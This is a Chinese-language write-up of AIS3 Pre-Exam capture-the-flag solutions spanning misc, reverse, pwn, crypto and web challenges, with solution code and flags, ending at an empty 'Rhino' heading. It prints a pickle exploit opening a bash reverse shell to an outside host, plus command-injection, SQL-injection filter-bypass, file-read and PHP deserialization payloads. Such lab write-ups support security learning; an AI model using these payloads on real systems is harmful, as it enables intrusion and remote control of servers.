這學期修了網路攻防實習,這堂課要用 AIS3 Pre-Exam 當期末考,好喔。
攻擊腳本們在這
Misc
Piquero
這題給了一張點字的圖,只要先找到出題者用的 generator 這個 ,接著就一個一個對照就解出來了。
1 AIS3{I_feel_sleepy_Good_Night!!!}
Karuego
這題給了一張 png,先用 binwalk --dd=".*" Karuego.png
拉出一個 zip 檔,這個 zip 檔有加密,原本想用 fcrackzip
之類的爆破工具,但 zsteg -a Karuego.png
下去發現 LSB 有一段文字 The key is : lafire
,zip 檔解開裡面有一張 Demon.png
打開就看到 flag 了。
1 AIS3{Ar3_y0u_r34l1y_r34dy_t0_sumnn0n_4_D3m0n?}
Soy
這題給了一張 png,是被墨漬污染的 QR Code,我用 https://merricx.github.io/qrazybox/
把已知的黑點白點都畫了上去就解出來了,因為大部分的 Data 區塊都沒被污染到吧,這個網站上畫 QR Code 的時候記得要畫白點,不要只畫黑點,沒畫的會是未知的灰點,我在這裡卡很久Q
1 AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}
Saburo
這題要 nc 60.250.197.227 11001
,沒給原始碼,連上去要輸入 flag 給他,他會輸出你幾秒後輸了
1 2 Flag: A Haha, you lose in 24 milliseconds.
猜測是 Side Channel Attack,原始碼猜測大概是 ( 不負責任亂寫 code 如下 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import timedef compare (real_flag, user_flag ): l = len (user_flag) if len (user_flag) < len (real_flag) else len (real_flag) for i in range (len (user_flag)): if user_flag[i] != real_flag[i]: return False return i == len (user_flag) - 1 real_flag = 'AIS3{...}' user_flag = input () start = time.clock() win = compare(real_flag, user_flag) end = time.clock() if not win: print (f'Haha, you lose in {end - start} milliseconds.' ) else : print (f'Oh, you win. QQ' )
但是很多人在連線的時候去算 cpu time 會抖的很大力,所以後來 server 應該是改成用模擬的 ( 就比較穩了 ),就是錯了就加個 random 小 noise,對了就加一個大一點的值之類的。
所以每個字都爆搜 0 - 255,然後取最大的就好了,可以每次嘗試都送個十次取平均之類的,或是把 log 記起來,之後如果爆搜所有 byte 都沒有進展的話就,回去找第二高的,會比較穩。
1 AIS3{A1r1ght_U_4r3_my_3n3nnies}
Shichirou
這題要 nc 60.250.197.227 11000
,有給原始碼,給他一個 tar 檔,他幫你解開然後把解開的 guess.txt
跟 local 的 flag.txt
的 sha1 做比較,如果一樣的話就噴 flag。
tar 可以壓縮 symbolic link,自己做一個 symbolic link 指向 flag.txt
就完成了。
1 2 ln -s ../flag.txt guess.txttar -cf test.tar ./
1 AIS3{Bu223r!!!!_I_c4n_s33_e_v_e_r_y_th1ng!!}
Clara
這題給了一個 pcap 檔,一開始啥提示都沒有,後來有說是 Malware 在 monitor 電腦然後傳 encrypted data 給 C&C Server,然後傳了兩次一樣的資料,看了老半天,會發現 tcp 流量裡面有類似 AIS3 的字樣,有兩大包 tcp,一包 10 MB 另一包 27 MB,加密的話大概也只有 xor 比較正常吧,所以複製了一些部分用 xortool
分析,找到 key 是 AIS3{NO}
,而且看到 PNG 開頭的字樣和一些 xml 的 meta data,就可以確定假設正確也解對了(汗,既然兩次包的明文是一樣的那就把兩包做 xor 再 xor 上 AIS3{NO}
就得到另一包的 key 是 xSECRETx
,接著把整包拿去做 xor 拉出圖片,圖片有好幾 MB 很大,一開始只有拉出一張圖片,某個動漫的圖,又卡了一下後,發現那包前面的部分有類似 header 的東西,他不是 8 的倍數,我一開始是直接不理他,但是猜測後面也有好幾段 header,讓 xor 沒對齊壞掉,所以我就把整段 data 暴力 shift 了幾次拿去 xor,就拉出所有照片了,其中一張有 flag,其他都垃圾,原本不知道有很多張圖片,也不知道 flag 在哪的時候還在開 stegsolve
和 zsteg
在圖片找 flag,浪費很多時間。
他的 packet 是很有秩序沒有亂傳的,header 裡面就是固定傳一個 0xdeadbeeffaceb00c
然後 C&C 把剛剛那段 xor 加密回傳,接著後面檔案名字的大小,和檔案名字,每個都分開傳,每個都自己做 xor cipher,接著就是傳 data,都沒有走歪或是掉進什麼坑的話還是有機會解出來的,我也不常分析 packet 也沒分析過什麼惡意程式,經驗不足所以解很久還要看 hint QQ
1 AIS3{T0y_t0Y_C4n_u_f1nd_A_n_yTh1ng_d3h1nb_nn3??}
Reverse
TsaiBro
這題給了一個 ELF
執行檔還有被加密的 flag 檔,被加密的 flag 檔的一小段大概長下面這樣
發財..發財.......發財....發財.......發財....發財.發財........
隨便用 ida 看了一下後,加密流程就是把 flag 轉乘 flag // 8
和 flag % 8
,然後數字是多少就轉乘多少個點,所以最多 8 個點,上面那段就是 [2, 7, 4, 7, 4, 1, 8]
,那解密就反過來組回去就好。
1 AIS3{y3s_y0u_h4ve_s4w_7h1s_ch4ll3ng3_bef0r3_bu7_its_m0r3_looooooooooooooooooong_7h1s_t1m3}
Fallen Beat
這題給了一隻 jar 執行檔,跑起來是一個節奏遊戲,要 Full Combo 才能拿到 flag,那直接 JD-GUI
下去看他,關鍵在 PanelEnding.class
裡面,定義了被加密的 flag 陣列,還有後面做 xor 解回 flag 印出來的部分
1 2 3 4 5 byte [] flag = new byte [] { 89 , 74 , 75 , 43 , 126 , 69 , 120 , 109 , 68 , 109 , 109 , 97 , 73 , 110 , 45 , 113 , 102 , 64 , 121 , 47 , 111 , 119 , 111 , 71 , 114 , 125 , 68 , 105 , Byte.MAX_VALUE, 124 , 94 , 103 , 46 , 107 , 97 , 104 };
1 2 3 4 5 6 if (t == mc) { for (i = 0 ; i < cache.size(); i++) this .flag[i % this .flag.length] = (byte )(this .flag[i % this .flag.length] ^ ((Integer)cache.get(i)).intValue()); String fff = new String (this .flag); this .text[0 ].setText(String.format("Flag: %s" , new Object [] { fff })); }
這裡的 cache 原本以為是內建的東東,結果不是,追了一下發現在 GameControl.class
有定義,東西是從 songs/gekkou/hell.txt
抓出來的,那就直接照著 xor 就解出來了。
1 AIS3{Wow_how_m4ny_h4nds_do_you_h4ve}
Stand up!Brain
這題給了一個 ELF
執行檔,隨便看了一下發現他實做了 Brainfuck,然後程式碼在執行檔裡面,拉出來長這樣
1 -------------------------------------------------------------------[>[-]<[-]]>[>--------------------------------------------------------[>[-]<[-]]>[>-------------------------------------------------------[>[-]<[-]]>[>------------------------------------------------------[>[-]<[-]]>[>---------------------------------------------------[>[-]<[-]]>[>---------------------------------[>[-]<[-]]>[>>----[---->+<]>++.++++++++.++++++++++.>-[----->+<]>.+[--->++<]>+++.>-[--->+<]>-.[---->+++++<]>-.[-->+<]>---.[--->++<]>---.++[->+++<]>.+[-->+<]>+.[--->++<]>---.++[->+++<]>.+++.[--->+<]>----.[-->+<]>-----.[->++<]>+.-[---->+++<]>.--------.>-[--->+<]>.-[----->+<]>-.++++++++.--[----->+++<]>.+++.[--->+<]>-.-[-->+<]>---.++[--->+++++<]>.++++++++++++++.+++[->+++++<]>.[----->+<]>++.>-[----->+<]>.---[->++<]>-.++++++.[--->+<]>+++.+++.[-]]]]]]]
人腦跑了一下發現前面一段是在做很多 if 判斷,後面有 .
的部分是印 flag 的部分。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # if (ptr[0] - 67) == 0 -------------------------------------------------------------------[>[-]<[-]]> [ # if (ptr[2] - 56) == 0 >--------------------------------------------------------[>[-]<[-]]> [ # if (ptr[4] - 55) == 0 >-------------------------------------------------------[>[-]<[-]]> [ # if (ptr[6] - 54) == 0 >------------------------------------------------------[>[-]<[-]]> [ # if (ptr[8] - 51) == 0 >---------------------------------------------------[>[-]<[-]]> [ # if (ptr[8] - 33) == 0 >---------------------------------[>[-]<[-]]>
所以只要你的輸入要是 C8763!
就會進到後面印 flag 的部分,所以可以直接執行原本的程式輸入 C8763!
跟桐人一起使出星爆氣流斬拿 flag,或是直接忽略前面把後面那段貼到線上的 Brainfuck Compiler 執行一下也可以拿到 flag。
1 AIS3{Th1s_1s_br4iNFUCK_bu7_m0r3_ez}
Long Island Iced Tea
這題給了一個 ELF
執行檔還有被加密的 flag 檔,被加密的 flag 長這樣
1 850a2a4d3fac148269726c5f673176335f6d335f55725f49475f346e645f746831735f31735f6d316e655f746572727974657272795f5f7d0000000000000000
隨便嘗試了一下發現超過 8 個 bytes 之後的都不會變而且直接是明文了,把上面那段從 hex 轉回 bytes 就變成
1 \x85\n*M?\xac\x14\x82irl_g1v3_m3_Ur_IG_4nd_th1s_1s_m1ne_terryterry__}\x00\x00\x00\x00\x00\x00\x00\x00
前面 8 個 bytes 已知 AIS3{
5 個字了,所以直接爆搜剩下 3 個字。
1 AIS3{A!girl_g1v3_m3_Ur_IG_4nd_th1s_1s_m1ne_terryterry__}
La vie en rose
這題給了給 PE
的執行檔,原本以為要逆向 windows 了,打開後看到一堆 python 的函式庫還有 tkinter,發現他是用 PyInstaller 包的,參考 這篇 用官方的 archive_viewer.py 把 pyc 拉出來 ( 其實好像是 pyd 檔才對,好像格式上差了一點 ),在逆 pyc 的時候確定版本很重要,拉出來的 pyc 沒有 magic value header,可以隨便再撈個比如 pyimod01_os_path
出來,這個就有 magic value 是 550d 0d0a
,所以是 Python 3.8 b4 版,先嘗試用了一下 uncompyle6
去還原原始碼,可是他噴錯然後失敗了,那我們就直接看 bytecode 吧,用 marshal.loads
載入為 code object 再用 dis.dis
去 disassemble,邊猜他的原始碼,可以邊用 dis.dis(compile('x = 1', 'filename', 'exec'))
去驗證,看了一下會發現
1 flag = "" .join(map (chr , [secret[i] ^ notes[i % len (notes)] for i in range (len (secret))]))
flag
是用 secret
和 notes
xor 出來的,secret
是寫死的,notes
是從 input
輸入進來的,然後做了下面的計算算出 result
1 2 3 4 5 notes = list (map (ord , notes)) for i in range (len (notes) - 1 ): result.append(notes[i] + notes[i+1 ]) for i in range (len (notes) - 1 ): result.append(notes[i] - notes[i+1 ])
最後把 result
跟一個固定的陣列做比較,所以我們有 a+b
和 a-b
只要把兩個加起來除以二就拿到 a
了,把 notes
還原再跟 secret
xor 就得到 flag
了。
1 AIS3{th1s_fl4g_red_lik3_ros3s_f1lls_ta1wan}
Uroboros
這題給了一個 ELF
執行檔,是 C++ 寫的,總之就逆他,發現他是一個 circular double linked list,結構就像下面這樣很普通。
1 2 3 4 5 struct Node { struct Node * prev; struct Node * next; int data; };
總共有 314 個 Node,對輸入的每個字,他會先往下走 輸入的字乘上 7 次然後把走到的那個 Node 的值乘 64 加上 counter,counter 就是一開始是 1,每經過一個字加一,最後把整段輸出跟某個答案比較,對了就代表你的輸入就是 flag,所以就照著解回來,把數字當成 64 進位拆開,比如第 141 個 Node 存的 70
拆成 64 * 1 + 6
,代表第一個和第六個字是 ‘A’,因為 ord('A') * 7 = 141 ( mod 341 )
,就是把 141 * inverse(7, 341) = 65 = ord('A')
,就這樣。
1 AIS3{4ll_humonculus_h4v3_a_ur0b0r0s_m4rk_0n_the1r_b0dy}
Pwn
BOF
最簡單的 buffer overflow,裡面已經有一個函式,直接呼叫就拿到 shell 了,但是記得要跳到 push rbp
下一行,如果跳到 push rbp
的話 stack 會沒有對齊 16 的倍數,做 system
的時候會進到 child thread 然後跑到 movaps XMMWORD PTR [rsp+0x40], xmm0
因為沒對齊就掛了,然後 child thread 死掉 system
就會執行完跳出來 ( 都還沒打到指令 ),出來跑到函式結尾 return
的時候又會掛掉,因為正常呼叫函式都會把 return address 放到 stack 上,但是直接跳過去就沒有放,他就會 return 到奇怪的位置。
1 AIS3{OLd_5ChOOl_tr1ck_T0_m4Ke_s7aCk_A116nmeNt}
Nonsense
這題讓我們輸入 shellcode,然後會檢查 shellcode 裡面有沒有 wubbalubbadubdub
這段字,並且在這段字前面的每個字都要小於等於 31,而找到那段字之後就會直接跳出檢查函式,所以那段字的後面都不會被檢查了,那我們的 shellcode 就構造成最開頭先 ja
跳到後面真正的 shellcode,然後中間放 wubbalubbadubdub
,就完成了。
1 2 3 4 5 ja shellcode ... (some padding instructions) wubbalubbadubdub shellcode: ...
1 AIS3{Y0U_5peAk_$helL_codE_7hat_iS_CARzy!!!}
Portal Gun
這題就是用 gets
的 bof,有一個函式有用到 system('sh')
,但是他有 LD_PRELOAD
一個 hook.so
裡面把 system
hook 掉了,所以不能直接叫,那就堆 ROP leak libc address 再自己跳進去 system 吧。
1 AIS3{U5E_Port@L_6uN_7o_GET_tHe_$h3L1_0_o}
Morty School
這題一開始就給你 leak libc address 給你,接下來你可以挑一個 Morty 教,但你給的 index 他沒有檢查,所以可以任意寫一個位址,但是不是直接寫值上去,而是寫到你給他的位址裡面放的位址裡面的值,所以找一下哪裡有存 __stack_chk_fail
got 的位址,利用他去寫 __stack_chk_fail
的 got 改成我們串好的 ROP gadgets,然後寫爆 stack( 因為這裡也有 overflow ),就跳去做 ROP 了,一開始有想直接跳 one gadgets 但是條件都不符,所以就自己做 ROP 做 system('/bin/sh')
。
1 AIS3{s7ay_At_h0ME_And_Keep_$Oc1@L_D1$T4Nc3,M0rTyS}
Death Crystal
這題是 format string,但是有檢查輸入,所有字都不能有 $
, \
, /
, ^
,並且 %
後面都不能有 c
, p
, n
, h
,主要是不能用 $
去指定參數,但沒關係就多放幾個 padding 用的把參數推過去就好了,他的 flag
已經讀進來放到 0x202060
了,但是 PIE 有開所以還是要 leak 一下 code base address,要繞過檢查只要前面隨便放個數字就好了,比如 %1p
,先 b'%1p' * 11 + b';%1p'
leak 出 code base address,然後再 b'%d' * 8 + b'%100sAA\x00' + p64(base + 0x202060)
就拿到 flag 了。
1 AIS3{FOrM@T_5TRin6_15_$o0o_pOw3rFul_And_eAsY}
Meeseeks Box
這題是 heap 題,很一般的有 create
, show
, delete
的題目,然後沒什麼檢查,而且是 ubuntu 18.04 有 tcache 可以用,所以先弄個夠大的 chunk 然後 free 掉他讓他進到 unsorted bins 就可以拿 libc address 了,然後有 tcache 可以隨便 double free 他去把 __malloc_hook
寫成 one gadget 的位址就完成了。
1 AIS3{G0D_d4mn!_Mr._M3e5EEk5_g1V3S_Y0U_@_sH31l}
Crypto
Brontosaurus
給了一個檔案叫 KcufsJ
裡面是 jsfuck 混淆過的 js code,他的檔名就是倒過來的 jsfuck,所以內容也要倒過來,開瀏覽器 console 執行一下就好了。
1 AIS3{Br0n7Os4uru5_ch3at_3asi1Y}
T-Rex
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ! @ # $ % & ! V F Y J 6 1 @ 5 0 M 2 9 L # I W H S 4 Q $ K G B X T A % E 3 C 7 P N & U Z 8 R D O &$ !# $# @% { %$ #! $& %# &% &% @@ $# %# !& $& !& !@ _ $& @% $$ _ @$ !# !! @% _ #! @@ !& _ $# && #@ !% %$ ## ! # &% @$ _ $& &$ &% %& && #@ _ !@ %$ %& %! $$ &# !# !! &% @% ## $% !% !& @! #& && %& !% %$ %# %$ @% ## %@ @@ $% ## !& #% %! %@ &@ %! &@ %$ $# ## %# !$ &% @% !% !& $& &% %# %@ #$ !# && !& #! %! ## #$ @! #% !! $! $& @& %% @ @ && #& @% @! @# #@ @@ @& !@ %@ !# !# $# $! !@ &$ $@ !! @! &# @$ &! &# $! @@ &@ !% #% #! &@ &$ @@ &$ &! !& #! !# ## %$ !# !# %$ &! !# @# ## @@ $! $$ %# %$ @% @& $! &! !$ $# #$ $& #@ %@ @$ !% %& %! @% #% $! !! #$ &# ## &# && $& !! !% $! @& !% &@ !& $! @# !@ !& @$ $% #& #$ %@ %% %% &! $# !# $& #@ &! !# @! !@ @@ @@ ## !@ $@ !& $# % & %% !# !! $& !$ $% !! @$ @& !& &@ #$ && @% $& $& !% &! && &@ &% @$ &% &$ &@ $$ }
給了一張表和密文,對表轉回去就好了,但要注意 row 和 column 的順序,&$
是 A 不是 R。
Octopus
這題給 python script 和他執行後的 output,裡面在做 BB84 量子密鑰分發 ,兩邊的 Basis 都給了,Qubits 也給了,就是把 Basis 一樣部分的那些 Qubits 抓出來轉回 binary 就好了。
1 AIS3{EveryONe_kn0w_Quan7um_k3Y_Distr1but1on--BB84}
Blowfish
這題要 nc 60.250.197.227 12001
,有給原始碼,還有一個 python pickle dump 的檔案
1 [{'name': 'maojui', 'password': 'SECRET', 'admin': False}, {'name': 'djosix', 'password': 'S3crE7', 'admin': False}, {'name': 'kaibro', 'password': 'GGInIn', 'admin': False}, {'name': 'others', 'password': '_FLAG_', 'admin': False}]
連上去之後,他會給你這段用 Blowfish 的 CTR Mode 加密的結果當作 token,接著你就可以再把 token 丟回去給他解密,他會看你是不是 admin,因為是 CTR Mode 所以就翻一下 bit 就好了,把那個 False 的部分翻成 True,就這麼簡單。
詳情可以參考 這份投影片 Bit-Flipping Attack 的部分。
1 AIS3{ATk_BloWf1sH-CTR_by_b1t_Flipping_^_^}
Camel
這題給了 sage script,裡面有一個 Elliptic Curve,並給了上面的 9 個點,flag 就是 Elliptic Curve 的參數,因為他給的點的 x 座標都是 $p-1, p+1, p+2, …$,所以帶進 $y^2 = x^3 + a x + b$ 式子 mod p 之後 p 就都不見了
$$
\begin{align}
&(p-1)^3 + a (p-1) + b = -1 - a + b \pmod{p} \\
&(p+1)^3 + a (p+1) + b = 1 + a + b \pmod{p}
\end{align}
$$
上面兩式相加之後可以得到 2b
,還有其他兩組 p+3
, p-3
, p+5
, p-5
也是同樣的情況,所以我們可以拿到三組 2b + kp
這樣形式的東西,把他們互減去做 gcd 就得到 p
了,有 p
之後就帶回去就可以得到 a, b
。
1 AIS3{Curv3_Mak3_M3_Th1nK_Ab0Ut_CaME1_A_P}
Turtle
這題就是 Padding Oracle Attack,我把以前的 script 拿出來然後把 oracle 換成用 requests 去抓就完成了。
詳情可以參考 這份投影片 Padding Oracle Attack 的部分。
1 AIS3{5l0w_4nd_5734dy_w1n5_7h3_r4c3.}
Web
Squirrel
這題網站在 https://squirrel.ais3.org/,打開看一下流量會看到有一個請求是 /api.php?get=/etc/passwd
,看起來是直接給你 local file inclusion,抓一下網站原始碼 /api.php?get=/var/www/html/api.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php header ('Content-Type: application\/json' );if ($file = @$_GET ['get' ]) { $output = shell_exec ("cat '$file '" ); if ($output !== null ) { echo json_encode ([ 'output' => $output ]); } else { echo json_encode ([ 'error' => 'cannot get file' ]); } } else { echo json_encode ([ 'error' => 'empty file path' ]); }
看起來是 command injection,/api.php?get='|bash -c 'ls
就可以執行任意 command 了,ls /
看根目錄有個 5qu1rr3l_15_4_k1nd_0f_b16_r47.txt
裡面就是 flag 了 ( 剛好檔名跟 flag 一樣,真佛心 )
1 AIS3{5qu1rr3l_15_4_k1nd_0f_b16_r47}
Shark
這題網站在 https://shark.ais3.org/,首頁有個連結點下去就是 /?path=hint.txt
,又是 local file inclusion,但是 hint 說
1 2 3 Please find the other server in the internal network! (flag is on that server) GET http://some-internal-server/flag
那就先看一下原始碼 /?path=/var/www/html/index.php
,直接看會拿到 [forbidden]
,那隨便繞一下 /?path=file:///var/www/html/index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php if ($path = @$_GET ['path' ]) { if (preg_match ('/^(\.|\/)/' , $path )) { die ('<pre>[forbidden]</pre>' ); } $content = @file_get_contents ($path , FALSE , NULL , 0 , 1000 ); die ('<pre>' . ($content ? htmlentities ($content ) : '[empty]' ) . '</pre>' ); } ?> <!DOCTYPE html><head> <title>🦈🦈🦈</title> <meta charset="utf-8" > </head> <body> <h1>🦈🦈🦈</h1> <a href="?path=hint.txt" >Shark never cries?</a> </body>
有用 regex 檢查開頭不能是 .
和 /
,所以 file://
或 php://filter/read=convert.base64-encode/resource=
都可以繞,再來看 /?path=file:///etc/hosts
1 2 3 4 5 6 7 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.22.0.3 02b23467485e
瀏覽一下 /?path=http://02b23467485e
發現是本機,那就找找子網路下的鄰居們,就找到 /?path=http://172.22.0.2/flag
1 AIS3{5h4rk5_d0n'7_5w1m_b4ckw4rd5}
Elephant
這題網站在 https://elephant.ais3.org/,首頁可以登入,隨便輸入個 username 就登入了不需要密碼,第一步當然是找找有沒有原始碼,看了一下 robots.txt
沒東西,再看 .git
是 Forbidden,中獎,隨便找個 GitDumper 把 .git
抓下來,git log
看到前一個 commit 把原始碼刪掉了,git reset --hard
回去,原始碼如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 <?php const SESSION = 'elephant_user' ;$flag = file_get_contents ('/flag' );class User { public $name ; private $token ; function __construct ($name ) { $this ->name = $name ; $this ->token = md5 ($_SERVER ['REMOTE_ADDR' ] . rand ()); } function canReadFlag ( ) { return strcmp ($flag , $this ->token) == 0 ; } } if (isset ($_GET ['logout' ])) { header ('Location: /' ); setcookie (SESSION, NULL , 0 ); exit ; } $user = NULL ;if ($name = $_POST ['name' ]) { $user = new User ($name ); header ('Location: /' ); setcookie (SESSION, base64_encode (serialize ($user )), time () + 600 ); exit ; } else if ($data = @$_COOKIE [SESSION]) { $user = unserialize (base64_decode ($data )); } ?> <!DOCTYPE html><head> <title>Elephant</title> <meta charset='utf-8' > <link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css" > <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" ></script> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js" ></script> </head> <body> <?php if (!$user ): ?> <div id="login" > <h3 class ="text -center text -white pt -5">Are you familiar with PHP ?</h3 > <div class ="container "> <div id ="login -row " class ="row justify -content -center align -items -center "> <div id ="login -column " class ="col -md -6"> <div id ="login -box " class ="col -md -12"> <form id ="login -form " class ="form " action ="" method ="post "> <h3 class ="text -center text -info ">What 's your name !?</h3 > <div class ="form -group "> <label for ="name " class ="text -info ">Name :</label ><br > <input type ="text " name ="name " id ="name " class ="form -control "> </div > <div class ="form -group "> <input type ="submit " name ="submit " class ="btn btn -info btn -md " value ="let me in "> </div > </form > </div > </div > </div > </div > </div > <?php else : ?> <h3 class ="text -center text -white pt -5">You may want to read the source code .</h3 > <div class ="container " style ="text -align : center "> <img src ="images /elephant2 .png "> </div > <hr > <div class ="container "> <div class ="row justify -content -center align -items -center "> <div class ="col -md -6"> <div class ="col -md -12"> <h3 class ="text -center text -info ">Do you know ?</h3 > <h3 class ="text -center text -info ">PHP 's mascot is an elephant !</h3 > Hello , <b ><?= $user ->name ?></b >! <?php if ($user ->canReadFlag ()): ?> This is your flag : <b ><?= $flag ?></b > <?php else : ?> Your token is not sufficient to read the flag ! <?php endif ; ?> <a href ="?logout ">Logout !</a > </div > </div > </div > </div > <?php endif ?> </body >
只要讓 strcmp($flag, $this->token) == 0
就好啦,那 strcmp
已知的問題就是他 compare 陣列隨然會噴 Warning,但結果會是 NULL
,而這裡是用兩個 =
不是三個,所以 NULL == 0
,把下面這段 base64 encode 後放回 Cookie 就完成啦。
1 O:4:"User":2:{s:4:"name";s:1:"a";s:11:"\x00User\x00token";a:0:{}}
1 AIS3{0nly_3l3ph4n75_5h0uld_0wn_1v0ry}
Snake
這題網站在 https://snake.ais3.org/ ,首頁就是原始碼了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from flask import Flask, Response, requestimport pickle, base64, tracebackResponse.default_mimetype = 'text/plain' app = Flask(__name__) @app.route("/" ) def index (): data = request.values.get('data' ) if data is not None : try : data = base64.b64decode(data) data = pickle.loads(data) if data and not data: return open ('/flag' ).read() return str (data) except : return traceback.format_exc() return open (__file__).read()
給他 data,他會 pickle.loads
,沒有任何檢查,所以直接 reverse shell
1 2 3 4 5 6 7 8 9 10 import osimport picklefrom base64 import *class Exploit : def __reduce__ (self ): return (os.system, (('bash -c "bash -i >& /dev/tcp/1.2.3.4/9999 0>&1"' ),)) ex = Exploit() print (b64decode(pickle.dumps(ex)))
1 AIS3{7h3_5n4k3_w1ll_4lw4y5_b173_b4ck.}
Owl
這題網站在 https://turtowl.ais3.org/,首頁有登入頁面,他有個白色字寫 GUESS THE STUPID USERNAME / PASSWORD
,猜 admin/admin
就登進去了,登進去後,又有個白色字按鈕寫 SHOW HINT
,點下去就看到原始碼了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 <?php if (isset ($_GET ['source' ])) { highlight_file (__FILE__ ); exit ; } ini_set ('display_errors' , 1 ); ini_set ('display_startup_errors' , 1 ); error_reporting (E_ALL); date_default_timezone_set ('Asia/Taipei' ); session_start (); if (!isset ($_SESSION ['csrf_key' ])) $_SESSION ['csrf_key' ] = md5 (rand () * rand ()); require_once ('csrf.php' ); $csrf = new Csrf ($_SESSION ['csrf_key' ]); if ($action = @$_GET ['action' ]) { function redirect ($path = '/' , $message = null ) { $alert = $message ? 'alert(' . json_encode ($message ) . ')' : '' ; $path = json_encode ($path ); die ("<script>$alert ; document.location.replace($path );</script>" ); } if ($action === 'logout' ) { unset ($_SESSION ['user' ]); redirect ('/' ); } else if ($action === 'login' ) { $token = @$_POST ['csrf_token' ]; if (!$token || !$csrf ->validate ($token )) { redirect ('/' , 'invalid csrf_token' ); } $username = @$_POST ['username' ]; $password = @$_POST ['password' ]; if (!$username || !$password ) { redirect ('/' , 'username and password should not be empty' ); } if (stripos ($_SERVER ['HTTP_USER_AGENT' ], 'sqlmap' ) !== false ) { redirect ('/' , "sqlmap is child's play" ); } $bad = [' ' , '/*' , '*/' , 'select' , 'union' , 'or' , 'and' , 'where' , 'from' , '--' ]; $username = str_ireplace ($bad , '' , $username ); $username = str_ireplace ($bad , '' , $username ); $hash = md5 ($password ); $row = (new SQLite3 ('/db.sqlite3' )) ->querySingle ("SELECT * FROM users WHERE username = '$username ' AND password = '$hash '" , true ); if (!$row ) { redirect ('/' , 'login failed' ); } $_SESSION ['user' ] = $row ['username' ]; redirect ('/' ); } else { redirect ('/' , "unknown action: $action " ); } } $user = @$_SESSION ['user' ]; ?> <!DOCTYPE html><head> <title>🦉🦉🦉🦉</title> <meta charset='utf-8' > <link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css" > <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" ></script> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js" ></script> </head> <body> <?php if (!$user ): ?> <div id="login" > <h3 class ="text -center text -white pt -5">GUESS THE STUPID USERNAME / PASSWORD </h3 > <div class ="container "> <div id ="login -row " class ="row justify -content -center align -items -center "> <div id ="login -column " class ="col -md -6"> <div id ="login -box " class ="col -md -12"> <form id ="login -form " class ="form " action ="?action =login " method ="post "> <input type ="hidden " name ="csrf_token " value ="<?= htmlentities ($csrf ->generate ()) ?>"> <h3 class ="text -center text -info ">🦉: "Login to see cool things !"</h3 > <div class ="form -group "> <label for ="name " class ="text -info ">Username :</label ><br > <input type ="text " name ="username " id ="username " class ="form -control "><br > <label for ="name " class ="text -info ">Password :</label ><br > <input type ="text " name ="password " id ="password " class ="form -control "><br > </div > <div class ="form -group "> <input type ="submit " name ="submit " class ="btn btn -info btn -md " value ="Login "> </div > </form > </div > </div > </div > </div > </div > <?php else : ?> <h3 class ="text -center text -white pt -5"><a style ="color : white " href ="/?source ">SHOW HINT </a ></h3 > <div class ="container "> <div class ="row justify -content -center align -items -center "> <div class ="col -md -6"> <div class ="col -md -12"> <h3 class ="text -center text -info ">Nothing </h3 > Hello , <b ><?= htmlentities ($user ) ?></b >, nothing here . <a href ="?action =logout ">Logout !</a > </div > </div > </div > </div > <?php endif ?> </body >
就是 sqlite 的 SQL Injection,輸入的 username 會用 str_ireplace
過濾兩次,很好繞過,打 ///***
就會被過濾成 /*
,打 selselselectectect
就會被過濾成 select
,所以寫個簡單的 script 自動轉換 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import systable = { ' ' : '/**/' , '/*' : '///***' , '*/' : '***///' , 'union' : 'unununionionion' , 'select' : 'selselselectectect' , 'and' : 'anananddd' , 'or' : 'ooorrr' , 'where' : 'whewhewhererere' , 'from' : 'frfrfromomom' , } inp = sys.argv[1 ] for t,v in table.items(): inp = inp.replace(t, v) print (inp)
注意到 --
還是沒辦法用,因為 -selselectect-
會被轉成空的,select
順序在 --
前面會先被過濾掉,str_ireplace
是照著 list 一個個 replace 的,不過我們用 /*
就足夠了。
1 '///******///unununionionion///******///selselselectectect///******///null,sql,null///******///frfrfromomom///******///sqlite_master///******///whewhewhererere///******///type='table'///******///limit///******///1///******///offset///******///0///***
先挖 table,找到 CREATE TABLE garbage ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, value TEXT )
,只有這個 garbage
和 users
1 '///******///unununionionion///******///selselselectectect///******///null,name,null///******///frfrfromomom///******///garbage///******///limit///******///1///******///offset///******///0///***
再挖 db 裡面,挖到有個 name 是 something good
,挖他的 value 就看到 flag 了
1 AIS3{4_ch1ld_15_4_curly_d1mpl3d_lun471c}
Rhino
